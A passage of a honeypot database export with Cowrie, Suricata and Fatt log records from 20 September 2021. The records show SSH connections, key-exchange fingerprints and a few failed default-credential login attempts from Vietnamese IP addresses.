"1", "protocol": "ssh", "src_port": 53306, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.406033Z", "@timestamp": "2021-09-20T11:09:12.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24825	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:12.823501+03	2021-09-20 14:15:09.29947+03	{"_id": "MwblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53022 (192.168.176.2:22) [session: 83d11ba35f2b]", "session": "83d11ba35f2b", "@version": "1", "protocol": "ssh", "src_port": 53022, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.823501Z", "@timestamp": "2021-09-20T11:09:12.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24826	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.396159+03	2021-09-20 14:15:09.301471+03	{"_id": "PgblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "84220765f87d", "@version": "1", "timestamp": "2021-09-20T11:09:12.396159Z", "@timestamp": "2021-09-20T11:09:12.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24827	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.511308+03	2021-09-20 14:15:09.303471+03	{"_id": "PwblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "70f43a74fcd6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:12.511308Z", "@timestamp": "2021-09-20T11:09:12.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24828	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.683102+03	2021-09-20 14:15:09.30447+03	{"_id": "QAblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "70f43a74fcd6", "@version": "1", "timestamp": "2021-09-20T11:09:12.683102Z", "@timestamp": "2021-09-20T11:09:12.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24829	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:12.778381+03	2021-09-20 14:15:09.305471+03	{"_id": "QQblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "390f112beb60", "@version": "1", "duration": 3.0385868549346924, "timestamp": "2021-09-20T11:09:12.778381Z", "@timestamp": "2021-09-20T11:09:12.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24830	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:12.868166+03	2021-09-20 14:15:09.306471+03	{"_id": "QgblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [david/david] failed", "session": "3794bec75424", "@version": "1", "password": "david", "username": "david", "timestamp": "2021-09-20T11:09:12.868166Z", "@timestamp": "2021-09-20T11:09:12.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24831	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:12.870862+03	2021-09-20 14:15:09.308472+03	{"_id": "QwblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "83d11ba35f2b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:12.870862Z", "@timestamp": "2021-09-20T11:09:12.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24832	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:13.098965+03	2021-09-20 14:15:09.309471+03	{"_id": "RAblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "83d11ba35f2b", "@version": "1", "timestamp": "2021-09-20T11:09:13.098965Z", "@timestamp": "2021-09-20T11:09:13.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24833	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:13.298624+03	2021-09-20 14:15:09.310471+03	{"_id": "RQblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d8d79dcc0b71", "@version": "1", "duration": 3.621943473815918, "timestamp": "2021-09-20T11:09:13.298624Z", "@timestamp": "2021-09-20T11:09:13.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24834	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:13.350296+03	2021-09-20 14:15:09.311471+03	{"_id": "RgblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [minecraft/minecraft] failed", "session": "af178384dc34", "@version": "1", "password": "minecraft", "username": "minecraft", "timestamp": "2021-09-20T11:09:13.350296Z", "@timestamp": "2021-09-20T11:09:13.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24835	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:13.627189+03	2021-09-20 14:15:09.313471+03	{"_id": "SAblAnwBvYTbRNuETBYK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1593786860822405, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55996, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.627189Z", "@timestamp": "2021-09-20T11:09:13.627Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24836	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:13.631591+03	2021-09-20 14:15:09.31447+03	{"_id": "SwblAnwBvYTbRNuETRYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 